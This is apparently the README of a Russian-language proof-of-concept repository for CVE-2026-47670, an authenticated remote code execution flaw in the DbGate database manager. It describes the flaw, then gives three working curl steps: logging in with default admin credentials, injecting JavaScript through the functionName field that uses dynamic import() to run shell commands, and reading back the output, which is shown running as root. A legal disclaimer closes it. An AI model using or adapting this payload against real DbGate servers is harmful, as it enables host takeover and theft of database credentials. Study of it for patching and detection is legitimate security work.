
Аутентифицированное удаленное выполнение кода через внедрение имени функции loadReader в DbGate
Аутентифицированное удаленное выполнение кода через внедрение functionName в loadReader в DbGate
DbGate — это открытое кроссплатформенное средство управления базами данных, предназначенное для разработчиков и администраторов баз данных, которым необходимо одновременно работать с несколькими системами баз данных. Оно предоставляет единый веб-интерфейс и настольный интерфейс для управления как SQL, так и NoSQL базами данных, включая MySQL, PostgreSQL, SQL Server, MongoDB, SQLite, Oracle и другие, без необходимости переключения между различными клиентскими приложениями. DbGate работает как отдельное настольное приложение на Windows, macOS и Linux или может быть развернуто как веб-приложение через Docker, что делает его популярным для командной работы и сценариев удаленного администрирования баз данных.
CVE-2026-47670 — это аутентифицированная уязвимость удаленного выполнения кода (RCE), затрагивающая версии DbGate до 7.1.9. Ошибка существует в конечной точке /runners/load-reader, где параметр functionName передается в небезопасный путь выполнения кода без надлежащей санитизации. Злоумышленник, имеющий действительные учетные данные DbGate, может внедрить произвольный JavaScript-код через этот параметр, который выполняется на сервере с привилегиями root. Уязвимость особенно опасна тем, что защита require = null может быть тривиально обойдена с помощью динамических операторов import(), что позволяет злоумышленнику запускать оболочки, извлекать учетные данные баз данных, переходить к подключенным серверам баз данных или полностью скомпрометировать хост-систему.
# Step 1 — authenticate and obtain Bearer token
curl -s -X POST http://example.com/auth/login \
-H 'Content-Type: application/json' \
-d '{"amoid":"logins","login":"admin","password":"admin"}' | grep accessToken
# RESPONSE
# ========
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y"}
# Step 2 — inject via functionName (replace TOKEN and /tmp/_dbg_poc.jsonl)
curl -s -X POST http://example.com/runners/load-reader \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"functionName":"csvReader\nvar _f=await import(\"fs\");var _c=await import(\"child_process\");var _o=_c.execSync(\"id\").toString().trim();_f.writeFileSync(\"/tmp/_dbg_poc.jsonl\",JSON.stringify({__isStreamHeader:true,columns:[{columnName:\"out\"}]})+String.fromCharCode(10)+JSON.stringify({out:\"CANARY \"+_o})+String.fromCharCode(10));//","props":{}}'
# RESPONSE
# ========
{"apiErrorMessage":"The \"body\" argument must be of type function or an instance of Blob, ReadableStream, WritableStream, Stream, Iterable, AsyncIterable, or Promise or { readable, writable } pair. Received undefined"}
# Step 3 — read back command output
curl -s -X POST http://example.com/jsldata/get-rows \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhbW9pZCI6ImxvZ2lucyIsImxvZ2luIjoiYWRtaW4iLCJpYXQiOjE3ODE3NzMwNDIsImV4cCI6MTc4MTc3NjY0Mn0.M61gw5bidF2kyzZwRukwzv0yxm3Zj0tUItdPqCXDQ_Y' \
-d '{"jslid":"file:///tmp/_dbg_poc.jsonl","offset":0,"limit":100}'
# RESPONSE
# ========
[{"out":"CANARY uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"}]
python CVE-2026-47670-X7.py
Данный репозиторий и его содержимое предоставляются строго для законных исследований в области безопасности, авторизованного тестирования на проникновение, учебных целей и защитных задач. Получая доступ к этому материалу или используя его, вы подтверждаете полную ответственность за соблюдение всех применимых законов и наличие надлежащего разрешения перед тестированием или применением этих методов к любой системе, которая вам не принадлежит.
Авторы и сопровождающие этого проекта не несут ответственности за любые убытки, юридические последствия или неправомерное использование, возникшие в результате применения этой информации. Любое использование для несанкционированного доступа, вредоносной деятельности или незаконных целей категорически запрещено и не поддерживается.
Используйте ответственно. Оставайтесь в рамках закона. Тестируйте только то, что вам принадлежит или на что у вас есть явное письменное разрешение.
SCT-PL